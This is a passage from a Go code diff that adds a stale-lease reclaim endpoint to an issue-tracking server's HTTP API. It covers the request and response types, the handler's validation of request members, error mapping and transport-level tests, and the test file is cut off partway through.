silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, and `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. + // Capabilities The tokens this server advertises: the OPERATIONS it implements, derived from its route table, and the server-wide BEHAVIORS it enforces. v0's operation vocabulary is `ready.list`, `ready.count`, `issues.list`, `issues.query`, `issues.count`, `issues.get`, `issues.related`, `issues.create`, `issues.addComment`, `issues.batchClose`, `issues.claim`, `issues.claimNext`, `issues.release`, `issues.close`, `issues.reopen`, `issues.update`, `issues.sweep`, `issues.delete`, `issues.batchGet`, `issues.reclaim`, `issues.batchCreate`, `issues.batchApply`, `stats.get`, `config.list`, `config.get`, `config.set`, `config.unset`, `dependencies.cycles`, `dependencies.list`, `dependencies.count`, `dependencies.blocking`, `dependencies.tree`, `dependencies.add`, `dependencies.remove`, `memories.list`, `memories.get`, `memories.remember`, `memories.forget`, `events.list`, `events.watch`, `issues.casMetadata`; the behavior tokens are `project.enforce`, which announces that a `Bd-Project-Id` stamp for the wrong workspace is refused here rather than silently ignored, `issues.batchApplyLarge`, which announces that `POST /v0/beads/issues:batchApply` accepts the RAISED envelope — up to 1000 items (`ApplyBatchRequest.items.maxItems`), a 16 MiB body, and (for a request over 100 items) a run budget that EXTENDS to an operator-configured ceiling (`bd serve --large-apply-ceiling`, 5 minutes by default) — rather than the original 100-item, 4 MiB bound. The ceiling is a flat whole-run budget, not a value scaled by item count: a 101-item request and a 1000-item request both get the same extended budget. A request at or under 100 items is unaffected either way and keeps the server's ordinary deadline exactly as before. A client that checks for this token before sending a plan over 100 items learns whether THIS server accepts it without paying for a round trip an older server would refuse anyway, and `issues.list.sort`, which announces that `GET /v0/beads/issues` accepts the `sort` query parameter (two closed, pageable total orders — see that parameter) rather than silently answering `unknown_parameter`, and `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather than silently answering `unknown_parameter` for all four, `issues.sweep.wispsPlane`, which announces that `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of `tier` rather than silently answering `invalid_value`, `issues.sweep.liveDependents`, which announces that the same operation accepts `protect_live_dependents` and answers `skipped.live_dependent` rather than silently answering `unknown_parameter`, `issues.sweep.limit`, which announces that it accepts `limit` and answers `remaining` rather than silently answering `unknown_parameter`, and `issues.batchApply.depAddLineage`, which announces that a `dep_add` item on `POST /v0/beads/issues:batchApply` accepts `has_spawner` and `thread_id` (see `ApplyDepAddItem`) rather than a `400` naming the member unknown. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. // // THIS LIST IS BUILD-LEVEL, NOT WORKSPACE-LEVEL. It says which operations this binary serves, and for every entry but two that is the whole answer. `events.list` and `events.watch` are the exceptions: the durable events journal is a per-workspace setting that is OFF by default, so a server that advertises them may still refuse every request to both with 409 `events_journal_disabled` — correctly, because the operations exist and the workspace has no journal. A consumer of either MUST treat the capability as "this server speaks it" and the 409 as "not on this workspace", and must not read the capability as a promise that records will arrive. Capabilities []string `json:"capabilities"` @@ -1733,6 +1733,44 @@ type ReadyPage struct { Items []IssueWithCounts `json:"items"` } +// ReclaimIssuesRequest One sweep of stale leases. Every member but `actor` is optional, and every scope member NARROWS the sweep; see the operation. +// +// `additionalProperties: false`, so an unknown member is a `400` naming the member — a narrowing term this server silently ignored would widen what is reverted. +type ReclaimIssuesRequest struct { + // Actor Who ran the sweep. REQUIRED: each reverted row's recovery event and history entry are attributed to it. Validated by the same rules as the claim's `actor`. + Actor string `json:"actor"` + + // AnyReplica Also revert leases another replica granted. The one member that WIDENS the sweep; see the operation. Absent means `false`. + AnyReplica *bool `json:"any_replica,omitempty"` + + // Assignees Only leases held by one of these owners are eligible. + Assignees *[]string `json:"assignees,omitempty"` + + // ExcludeLabels An issue carrying ANY of these labels is never eligible. + ExcludeLabels *[]string `json:"exclude_labels,omitempty"` + + // Ids Only these issues are eligible. An id that is not currently a stale lease is absent from the answer rather than refused. The cap is on the REQUEST, counted before deduplication. A blank entry is refused. + Ids *[]string `json:"ids,omitempty"` + + // Labels Only issues carrying ALL of these labels are eligible. + Labels *[]string `json:"labels,omitempty"` + + // LabelsAny Only issues carrying AT LEAST ONE of these labels are eligible. + LabelsAny *[]string `json:"labels_any,omitempty"` + + // OlderThanSeconds The grace window past a lease's own expiry, in seconds (fractions allowed): only a lease that expired more than this long ago is eligible. Absent means `0`, every currently expired lease. A negative value is refused. + OlderThanSeconds *float64 `json:"older_than_seconds,omitempty"` +} + +// ReclaimIssuesResult Every row the sweep reverted, in the order the sweep found them. +type ReclaimIssuesResult struct { + // Reclaimed One entry per reverted row. Empty array (never null) when nothing was stale in scope. + Reclaimed []ReclaimedLease `json:"reclaimed"` +} + +// ReclaimedLease One row a lease sweep reverted. +type ReclaimedLease = types.ReclaimedLease + // Ref Names ONE issue, either by an id that already exists or by the `key` a create item earlier in the same request gave itself. // // EXACTLY ONE OF THE TWO IS SET, and both cases the schema cannot express are a `400`: both members set is a caller that cannot say which it meant, and neither set is a reference to nothing. (Spelling that as a schema alternation would need `oneOf`, which this document does not use — see `ApplyItem`.) @@ -2793,6 +2831,9 @@ type ClaimNextIssueJSONRequestBody = ClaimNextRequest // DeleteIssuesJSONRequestBody defines body for DeleteIssues for application/json ContentType. type DeleteIssuesJSONRequestBody = DeleteIssuesRequest +// ReclaimIssuesJSONRequestBody defines body for ReclaimIssues for application/json ContentType. +type ReclaimIssuesJSONRequestBody = ReclaimIssuesRequest + // SweepIssuesJSONRequestBody defines body for SweepIssues for application/json ContentType. type SweepIssuesJSONRequestBody = SweepRequest diff --git a/internal/httpapi/claim.go b/internal/httpapi/claim.go index 24d79093b..5b5db6326 100644 --- a/internal/httpapi/claim.go +++ b/internal/httpapi/claim.go @@ -350,6 +350,7 @@ var ( _ uow.EdgeReaderSource = timedProvider{} _ uow.GraphCounterSource = timedProvider{} _ uow.BatchGetterSource = timedProvider{} + _ uow.LeaseReclaimerSource = timedProvider{} _ uow.RelationsSource = timedProvider{} _ uow.CommenterSource = timedProvider{} _ uow.BlockingAnnotatorSource = timedProvider{} @@ -474,6 +475,12 @@ func (p timedProvider) BatchGetter() (issueops.BatchGetter, error) { return uow.NewBatchGetter(p) } +// LeaseReclaimer builds the stale-lease sweep OVER THIS WRAPPER, for the same +// reason and with the same hazard as IssueReader. +func (p timedProvider) LeaseReclaimer() (issueops.LeaseReclaimer, error) { + return uow.NewLeaseReclaimer(p) +} + // IssueRelations builds the single-anchor neighbor role OVER THIS WRAPPER, for // the same reason and with the same hazard as IssueReader. It is the one // accessor here whose name is not the role's: the seam spells it IssueRelations diff --git a/internal/httpapi/pinning.go b/internal/httpapi/pinning.go index 2144038fb..01435a28b 100644 --- a/internal/httpapi/pinning.go +++ b/internal/httpapi/pinning.go @@ -28,6 +28,7 @@ var ( _ apigen.IssueWithCounts = types.IssueWithCounts{} _ apigen.IssueDetails = types.IssueDetails{} _ apigen.BatchGetIssue = types.BatchGetIssue{} + _ apigen.ReclaimedLease = types.ReclaimedLease{} _ apigen.IssueWithDependencyMetadata = types.IssueWithDependencyMetadata{} _ apigen.Dependency = types.Dependency{} _ apigen.TreeNode = types.TreeNode{} @@ -73,6 +74,7 @@ var ( _ []issueops.IssueBlocking = apigen.BlockingAnnotations{}.Items _ []types.Issue = apigen.BatchCreateResponse{}.Items _ []types.BatchGetIssue = apigen.BatchGetIssuesResult{}.Issues + _ []types.ReclaimedLease = apigen.ReclaimIssuesResult{}.Reclaimed _ []eventsjournal.Record = apigen.EventsPage{}.Records ) diff --git a/internal/httpapi/problem.go b/internal/httpapi/problem.go index d3252ed9a..87618d3bd 100644 --- a/internal/httpapi/problem.go +++ b/internal/httpapi/problem.go @@ -466,6 +466,12 @@ const ( // answer EdgeCountRequest.IDs and EdgeReadRequest already give, applied to // the issues themselves rather than their edges. OpBatchGetIssues = "batchGetIssues" + // OpReclaimIssues reverts every stale lease a request scopes back to ready, + // behind issueops.LeaseReclaimer. It is NOT releaseIssue repeated: that + // operation gives up ONE claim on the holder's say-so and refuses an unheld + // row, and this one sweeps MANY leases on a clock's say-so and reports an id + // that was not a stale lease by leaving it out of `reclaimed`. + OpReclaimIssues = "reclaimIssues" // OpListRelatedIssues reads ONE issue's neighbors in a named direction, // behind issueops.Relations. It is NOT listDependencies narrowed to one // anchor: that operation answers the stored edge ROWS with their targets @@ -720,6 +726,11 @@ var operationCodes = map[string][]Code{ // `ids` (*issueops.TooManyIDsError) and a blank entry. An empty `ids` is // legal and answers with an empty result, so it earns no refusal at all. OpBatchGetIssues: {CodeInvalidArgument, CodeUnauthenticated, CodeBusy, CodeDBUnavailable, CodeInternal}, + // No not_found and no conflict: an id that is not a stale lease is left out + // of `reclaimed` rather than refused, and the sweep guards nothing a caller + // named a version of. Its only 400s are the role's own refusals and the + // handler's shape checks. + OpReclaimIssues: {CodeInvalidArgument, CodeUnauthenticated, CodeBusy, CodeDBUnavailable, CodeInternal}, // The same vocabulary as the stored-edge read beside it, and no not_found // for a stronger version of the same reason: this operation probes no id's // existence at all, so there is nothing it could 404 on. diff --git a/internal/httpapi/reclaim.go b/internal/httpapi/reclaim.go new file mode 100644 index 000000000..62f55a108 --- /dev/null +++ b/internal/httpapi/reclaim.go @@ -0,0 +1,249 @@ +package httpapi + +import ( + "encoding/json" + "errors" + "math" + "net/http" + "slices" + "strings" + "time" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/issueops" +) + +// The request body's member vocabulary. The schema is +// additionalProperties: false, so anything else is refused BY NAME, and on this +// operation for the sweep's sharper reason: a scope term the server silently +// ignored would widen what is reverted. +const ( + reclaimActorMember = "actor" + reclaimOlderThanMember = "older_than_seconds" + reclaimIDsMember = "ids" + reclaimAssigneesMember = "assignees" + reclaimLabelsMember = "labels" + reclaimLabelsAnyMember = "labels_any" + reclaimExcludeLabelsMember = "exclude_labels" + reclaimAnyReplicaMember = "any_replica" +) + +// reclaimMembers is the whole vocabulary, in one place, so the unknown-member +// refusal and the decoding below cannot come to disagree about what this +// operation accepts. +var reclaimMembers = []string{ + reclaimActorMember, + reclaimOlderThanMember, + reclaimIDsMember, + reclaimAssigneesMember, + reclaimLabelsMember, + reclaimLabelsAnyMember, + reclaimExcludeLabelsMember, + reclaimAnyReplicaMember, +} + +// maxReclaimOlderThanSeconds is the smallest grace window time.Duration can +// NOT hold: MaxInt64/1e9 as a float64 rounds up, so converting it back yields +// 2^63 nanoseconds, which wraps negative. The check is >=, so every accepted +// value converts in range; a refused one is not wrapped into a negative +// duration the role would refuse with a message about a value never sent. +var maxReclaimOlderThanSeconds = float64(math.MaxInt64) / float64(time.Second) + +// handleReclaimIssues answers POST /v0/beads/issues:reclaim. +// +// WHAT THIS HANDLER DOES NOT DO: it does not decide which lease is stale, does +// not apply the scope, does not honor the replica guard and does not mint the +// revisions. All of that is issueops.LeaseReclaimer, the same library surface +// `bd reclaim` calls, so a second front door cannot sweep differently from the +// first. Everything above the role here is argument validation and projection. +// +// THE ACTOR IS REQUIRED and validated by the claim's rules: every reverted row +// records a recovery event attributed to it, and the server's own identity +// would be meaningless to a remote reaper. +func (s *Server) handleReclaimIssues(w http.ResponseWriter, r *http.Request) { + if !s.requireNoQuery(w, r) { + return + } + if !s.requireJSONContent(w, r) { + return + } + request, ok := s.reclaimRequest(w, r) + if !ok { + return + } + + reclaimer, err := s.leaseReclaimer(r) + if err != nil { + s.failErr(w, r, err) + return + } + result, err := reclaimer.Reclaim(r.Context(), request) + if err != nil { + s.failReclaimErr(w, r, err) + return + } + writeJSON(w, reclaimResponse(result)) +} + +// reclaimRequest decodes the body into the role's request, member by member, +// so every refusal can NAME the member it is about. +func (s *Server) reclaimRequest(w http.ResponseWriter, r *http.Request) (issueops.ReclaimRequest, bool) { + members, res := decodeJSONObjectBody(w, r) + if res != nil { + s.fail(w, r, *res) + return issueops.ReclaimRequest{}, false + } + + var unknown []string + for name := range members { + if !slices.Contains(reclaimMembers, name) { + unknown = append(unknown, name) + } + } + if len(unknown) > 0 { + offender := slices.Min(unknown) + requestInfo(r.Context()).refuse(offender) + s.fail(w, r, InvalidArgument(offender, ReasonUnknownParameter, + "this operation's request body carries "+reclaimMemberList()+" and nothing else")) + return issueops.ReclaimRequest{}, false + } + + var request issueops.ReclaimRequest + + raw, ok := members[reclaimActorMember] + if !ok { + s.fail(w, r, InvalidArgument(reclaimActorMember, ReasonInvalidValue, + "`"+reclaimActorMember+"` is required")) + return issueops.ReclaimRequest{}, false + } + var actor *string + if err := json.Unmarshal(raw, &actor); err != nil || actor == nil { + s.fail(w, r, InvalidArgument(reclaimActorMember, ReasonInvalidValue, + "`"+reclaimActorMember+"` must be a string")) + return issueops.ReclaimRequest{}, false + } + trimmed, res := validateActor(*actor) + if res != nil { + s.fail(w, r, *res) + return issueops.ReclaimRequest{}, false + } + request.Actor = trimmed + + if raw, ok := members[reclaimOlderThanMember]; ok { + var seconds *float64 + if err := json.Unmarshal(raw, &seconds); err != nil || seconds == nil { + s.fail(w, r, InvalidArgument(reclaimOlderThanMember, ReasonInvalidValue, + "`"+reclaimOlderThanMember+"` must be a number")) + return issueops.ReclaimRequest{}, false + } + if *seconds < 0 || *seconds >= maxReclaimOlderThanSeconds { + s.fail(w, r, InvalidArgument(reclaimOlderThanMember, ReasonInvalidValue, + "`"+reclaimOlderThanMember+"` must be a non-negative number of seconds a duration can hold")) + return issueops.ReclaimRequest{}, false + } + request.OlderThan = time.Duration(*seconds * float64(time.Second)) + } + + for _, scope := range []struct { + member string + dest *[]string + }{ + {reclaimIDsMember, &request.Filter.IDs}, + {reclaimAssigneesMember, &request.Filter.Assignees}, + {reclaimLabelsMember, &request.Filter.Labels}, + {reclaimLabelsAnyMember, &request.Filter.LabelsAny}, + {reclaimExcludeLabelsMember, &request.Filter.ExcludeLabels}, + } { + raw, ok := members[scope.member] + if !ok { + continue + } + var values *[]string + if err := json.Unmarshal(raw, &values); err != nil || values == nil { + s.fail(w, r, InvalidArgument(scope.member, ReasonInvalidValue, + "`"+scope.member+"` must be an array of strings")) + return issueops.ReclaimRequest{}, false + } + // A PRESENT, EMPTY scope is refused rather than read as "no scope". + // The two would sweep the same rows, and that is the hazard: `bd + // reclaim --label "$LANE"` with LANE unset refuses for exactly this + // reason, so a caller that meant to narrow and sent nothing gets told + // rather than getting a workspace-wide sweep. + if len(*values) == 0 { + s.fail(w, r, InvalidArgument(scope.member, ReasonInvalidValue, + "`"+scope.member+"` is empty; an empty scope would reclaim everything, so omit the member to sweep without it")) + return issueops.ReclaimRequest{}, false + } + // The id cap and every blank entry are the ROLE's refusals + // (ValidateReclaimRequest, the one definition the CLI shares) and + // reach the wire through failReclaimErr, which names the field the + // role names. + *scope.dest = *values + } + + if raw, ok := members[reclaimAnyReplicaMember]; ok { + var value *bool + if err := json.Unmarshal(raw, &value); err != nil || value == nil { + s.fail(w, r, InvalidArgument(reclaimAnyReplicaMember, ReasonInvalidValue, + "`"+reclaimAnyReplicaMember+"` must be a boolean")) + return issueops.ReclaimRequest{}, false + } + request.Filter.AnyReplica = *value + } + + return request, true +} + +func reclaimMemberList() string { + quoted := make([]string, len(reclaimMembers)) + for i, name := range reclaimMembers { + quoted[i] = "`" + name + "`" + } + return strings.Join(quoted, ", ") +} + +// reclaimFieldMembers spells each field the role's *ReclaimFieldError can +// name as the wire member it arrived in. +var reclaimFieldMembers = map[string]string{ + issueops.ReclaimFieldActor: reclaimActorMember, + issueops.ReclaimFieldOlderThan: reclaimOlderThanMember, + issueops.ReclaimFieldIDs: reclaimIDsMember, + issueops.ReclaimFieldAssignees: reclaimAssigneesMember, + issueops.ReclaimFieldLabels: reclaimLabelsMember, + issueops.ReclaimFieldLabelsAny: reclaimLabelsAnyMember, + issueops.ReclaimFieldExcludeLabels: reclaimExcludeLabelsMember, +} + +// failReclaimErr answers a failed reclaim. issueops.ErrValidation is mapped to +// a 400 HERE, in the sweep's shape, because the role validates what the +// handler does not duplicate. The refusal names the member the role's error +// is about: `ids` for the cap, the *ReclaimFieldError's own field otherwise, +// and no member at all for a validation that names none. +func (s *Server) failReclaimErr(w http.ResponseWriter, r *http.Request, err error) { + if !errors.Is(err, issueops.ErrValidation) { + s.failErr(w, r, err) + return + } + member := "" + var capErr *issueops.TooManyReclaimIDsError + var fieldErr *issueops.ReclaimFieldError + switch { + case errors.As(err, &capErr): + member = reclaimIDsMember + case errors.As(err, &fieldErr): + member = reclaimFieldMembers[fieldErr.Field] + } + if member != "" { + requestInfo(r.Context()).refuse(member) + } + s.fail(w, r, InvalidArgument(member, ReasonInvalidValue, err.Error())) +} + +// reclaimResponse projects the role's result onto the wire envelope. +// apigen.ReclaimedLease IS types.ReclaimedLease (pinning.go), so this is a +// copy rather than a field list; `reclaimed` is never null. +func reclaimResponse(result issueops.ReclaimResult) apigen.ReclaimIssuesResult { + body := apigen.ReclaimIssuesResult{Reclaimed: []apigen.ReclaimedLease{}} + body.Reclaimed = append(body.Reclaimed, result.Reclaimed...) + return body +} diff --git a/internal/httpapi/reclaim_test.go b/internal/httpapi/reclaim_test.go new file mode 100644 index 000000000..4db65aeda --- /dev/null +++ b/internal/httpapi/reclaim_test.go @@ -0,0 +1,317 @@ +package httpapi + +import ( + "encoding/json" + "errors" + "fmt" + "net/http" + "reflect" + "strconv" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// These cover the transport half of POST /v0/beads/issues:reclaim: the body +// shape, the refusals the handler raises itself, how the role's own refusals +// reach the wire, and the projection of the role's result. Everything below +// the wire (staleness, scope, the replica guard, the minted revision, the hook) +// is issueops.LeaseReclaimer's, pinned by +// backend/conformance/lease_reclaimer_contract.go on all four legs. + +const reclaimPath = "/v0/beads/issues:reclaim" + +func newReclaimServer(t *testing.T, reclaimer *roleLeaseReclaimer) *testServer { + t.Helper() + return newTestServer(t, rolesConfig(Config{LeaseReclaimer: reclaimer})) +} + +// TestReclaimIssuesMapsEveryMemberOntoTheRole pins the request half: every +// member reaches the role's request, the actor trimmed by the claim's rules and +// the fractional grace window converted exactly. +func TestReclaimIssuesMapsEveryMemberOntoTheRole(t *testing.T) { + reclaimer := &roleLeaseReclaimer{result: issueops.ReclaimResult{Reclaimed: []issueops.ReclaimedLease{}}} + ts := newReclaimServer(t, reclaimer) + + resp := ts.claim(t, reclaimPath, `{ + "actor": " reaper ", + "older_than_seconds": 90.5, + "ids": ["bd-1", "bd-2"], + "assignees": ["w1"], + "labels": ["lane-a"], + "labels_any": ["x", "y"], + "exclude_labels": ["pinned"], + "any_replica": true + }`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + calls := reclaimer.reclaimRequests() + if len(calls) != 1 { + t.Fatalf("role calls = %d, want 1", len(calls)) + } + want := issueops.ReclaimRequest{ + Actor: "reaper", + OlderThan: 90*time.Second + 500*time.Millisecond, + Filter: issueops.ReclaimFilter{ + IDs: []string{"bd-1", "bd-2"}, + Assignees: []string{"w1"}, + Labels: []string{"lane-a"}, + LabelsAny: []string{"x", "y"}, + ExcludeLabels: []string{"pinned"}, + AnyReplica: true, + }, + } + if !reflect.DeepEqual(calls[0], want) { + t.Fatalf("role request = %+v, want %+v", calls[0], want) + } +} + +// TestReclaimIssuesDefaultsToAnUnscopedZeroGraceSweep pins the absent members: +// no grace window is zero, no scope is no scope, and any_replica is off. +func TestReclaimIssuesDefaultsToAnUnscopedZeroGraceSweep(t *testing.T) { + reclaimer := &roleLeaseReclaimer{result: issueops.ReclaimResult{Reclaimed: []issueops.ReclaimedLease{}}} + ts := newReclaimServer(t, reclaimer) + + resp := ts.claim(t, reclaimPath, `{"actor":"reaper"}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + calls := reclaimer.reclaimRequests() + if len(calls) != 1 || !reflect.DeepEqual(calls[0], issueops.ReclaimRequest{Actor: "reaper"}) { + t.Fatalf("role calls = %+v, want one bare request from reaper", calls) + } +} + +// TestReclaimIssuesAnswersEveryReclaimedLeaseWithItsRevision pins the response +// half: each entry carries id, previous_owner and the role's revision as the +// decimal string, past 2^53 so a float64 anywhere on the path would show. +func TestReclaimIssuesAnswersEveryReclaimedLeaseWithItsRevision(t *testing.T) { + reclaimer := &roleLeaseReclaimer{result: issueops.ReclaimResult{Reclaimed: []issueops.ReclaimedLease{ + {ID: "bd-1", PreviousOwner: "w1", Revision: types.RevisionToken(guardToken)}, + {ID: "bd-2", PreviousOwner: "", Revision: "7"}, + }}} + ts := newReclaimServer(t, reclaimer) + + resp := ts.claim(t, reclaimPath, `{"actor":"reaper"}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + raw := readAll(t, resp) + var body struct { + Reclaimed []map[string]any `json:"reclaimed"` + } + if err := json.Unmarshal([]byte(raw), &body); err != nil { + t.Fatalf("decode %q: %v", raw, err) + } + if len(body.Reclaimed) != 2 { + t.Fatalf("reclaimed = %v, want 2 entries", body.Reclaimed) + } + first := body.Reclaimed[0] + if first["id"] != "bd-1" || first["previous_owner"] != "w1" || first["revision"] != types.RevisionToken(guardToken) { + t.Errorf("reclaimed[0] = %v, want {bd-1 w1 %s}", first, types.RevisionToken(guardToken)) + } + if second := body.Reclaimed[1]; second["previous_owner"] != "" || second["revision"] != "7" { + t.Errorf("reclaimed[1] = %v, want an empty previous_owner and revision \"7\"", second) + } +} + +// TestReclaimIssuesAnswersAnEmptyArrayNotNull pins `reclaimed: []` when the +// sweep found nothing, whatever the role handed back. +func TestReclaimIssuesAnswersAnEmptyArrayNotNull(t *testing.T) { + for _, result := range []issueops.ReclaimResult{{}, {Reclaimed: []issueops.ReclaimedLease{}}} { + ts := newReclaimServer(t, &roleLeaseReclaimer{result: result}) + resp := ts.claim(t, reclaimPath, `{"actor":"reaper","ids":["bd-gone"]}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + if raw := readAll(t, resp); !strings.Contains(raw, `"reclaimed":[]`) { + t.Errorf("body = %s, want `\"reclaimed\":[]`", raw) + } + } +} + +// TestReclaimIssuesRefusesAMalformedBodyByName pins every refusal the handler +// raises itself: each is a 400 naming its member, and none reaches the role. +func TestReclaimIssuesRefusesAMalformedBodyByName(t *testing.T) { + for _, tc := range []struct { + name, body, param, reason string + }{ + {"unknown member", `{"actor":"r","force":true}`, "force", string(ReasonUnknownParameter)}, + {"missing actor", `{"ids":["bd-1"]}`, "actor", string(ReasonInvalidValue)}, + {"null actor", `{"actor":null}`, "actor", string(ReasonInvalidValue)}, + {"blank actor", `{"actor":" "}`, "actor", ""}, + {"negative grace", `{"actor":"r","older_than_seconds":-1}`, "older_than_seconds", string(ReasonInvalidValue)}, + {"string grace", `{"actor":"r","older_than_seconds":"10m"}`, "older_than_seconds", string(ReasonInvalidValue)}, + {"grace past a duration", `{"actor":"r","older_than_seconds":1e300}`, "older_than_seconds", string(ReasonInvalidValue)}, + {"ids not an array", `{"actor":"r","ids":"bd-1"}`, "ids", string(ReasonInvalidValue)}, + {"empty ids", `{"actor":"r","ids":[]}`, "ids", string(ReasonInvalidValue)}, + {"empty labels", `{"actor":"r","labels":[]}`, "labels", string(ReasonInvalidValue)}, + {"empty assignees", `{"actor":"r","assignees":[]}`, "assignees", string(ReasonInvalidValue)}, + {"null exclude", `{"actor":"r","exclude_labels":null}`, "exclude_labels", string(ReasonInvalidValue)}, + {"any_replica not a bool", `{"actor":"r","any_replica":"yes"}`, "any_replica", string(ReasonInvalidValue)}, + } { + t.Run(tc.name, func(t *testing.T) { + reclaimer := &roleLeaseReclaimer{} + ts := newReclaimServer(t, reclaimer) + + resp := ts.claim(t, reclaimPath, tc.body) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(CodeInvalidArgument) { + t.Errorf("code = %v, want %q", body["code"], CodeInvalidArgument) + } + if body["param"] != tc.param { + t.Errorf("param = %v, want %s", body["param"], tc.param) + } + if tc.reason != "" && body["reason"] != tc.reason { + t.Errorf("reason = %v, want %s", body["reason"], tc.reason) + } + if calls := reclaimer.reclaimRequests(); len(calls) != 0 { + t.Errorf("the role was called %d times for a refused request", len(calls)) + } + }) + } +} + +// TestReclaimIssuesRefusesAQueryParameter pins the document-level +// unknown-parameter rule on this operation, which declares none. +func TestReclaimIssuesRefusesAQueryParameter(t *testing.T) { + reclaimer := &roleLeaseReclaimer{} + ts := newReclaimServer(t, reclaimer) + + resp := ts.claim(t, reclaimPath+"?older_than=1h", `{"actor":"reaper"}`) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["param"] != "older_than" || body["reason"] != string(ReasonUnknownParameter) { + t.Errorf("param/reason = %v/%v, want older_than/unknown_parameter", body["param"], body["reason"]) + } + if calls := reclaimer.reclaimRequests(); len(calls) != 0 { + t.Errorf("the role was called %d times for a refused request", len(calls)) + } +} + +// TestReclaimIssuesLeavesTheIDsCapToTheRole pins that the handler neither +// counts nor trims `ids`: the whole oversized request reaches the role, and +// the role's *TooManyReclaimIDsError comes back as a 400 naming `ids`. +func TestReclaimIssuesLeavesTheIDsCapToTheRole(t *testing.T) { + const over = issueops.MaxReclaimIDs + 1 + reclaimer := &roleLeaseReclaimer{err: &issueops.TooManyReclaimIDsError{Requested: over, Cap: issueops.MaxReclaimIDs}} + ts := newReclaimServer(t, reclaimer) + + ids := make([]string, over) + for i := range ids { + ids[i] = fmt.Sprintf(`"bd-%d"`, i) + } + resp := ts.claim(t, reclaimPath, `{"actor":"reaper","ids":[`+strings.Join(ids, ",")+`]}`) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(CodeInvalidArgument) || body["param"] != "ids" || body["reason"] != string(ReasonInvalidValue) { + t.Errorf("problem = %v, want invalid_argument/ids/invalid_value", body) + } + calls := reclaimer.reclaimRequests() + if len(calls) != 1 || len(calls[0].Filter.IDs) != over { + t.Fatalf("role calls = %d, want one carrying all %d ids", len(calls), over) + } +} + +// TestReclaimIssuesAnswersABlankIDThroughTheRole pins the other role-side +// refusal: a blank entry in `ids` reaches the role (it is not pre-checked +// here), and its ErrValidation is a 400 naming `ids`. +func TestReclaimIssuesAnswersABlankIDThroughTheRole(t *testing.T) { + reclaimer := &roleLeaseReclaimer{err: &issueops.ReclaimFieldError{ + Field: issueops.ReclaimFieldIDs, Detail: "validation failed: reclaim scope id at position 1 is empty", + }} + ts := newReclaimServer(t, reclaimer) + + resp := ts.claim(t, reclaimPath, `{"actor":"reaper","ids":["bd-1",""]}`) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + if body := decodeBody(t, resp); body["param"] != "ids" { + t.Errorf("param = %v, want ids", body["param"]) + } + if calls := reclaimer.reclaimRequests(); len(calls) != 1 { + t.Fatalf("role calls = %d, want 1", len(calls)) + } +} + +// TestReclaimIssuesNamesTheFieldTheRoleRefused pins that a role refusal is +// attributed to the member the role's *ReclaimFieldError names, not to `ids` +// by default, and that the handler leaves blank scope entries to the role: +// the request reaches it. +func TestReclaimIssuesNamesTheFieldTheRoleRefused(t *testing.T) { + for field, member := range reclaimFieldMembers { + t.Run(field, func(t *testing.T) { + reclaimer := &roleLeaseReclaimer{err: &issueops.ReclaimFieldError{Field: field, Detail: "validation failed: refused"}} + ts := newReclaimServer(t, reclaimer) + + resp := ts.claim(t, reclaimPath, `{"actor":"reaper","labels_any":["a"," "]}`) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + if body := decodeBody(t, resp); body["param"] != member { + t.Errorf("param = %v, want %s", body["param"], member) + } + calls := reclaimer.reclaimRequests() + if len(calls) != 1 || 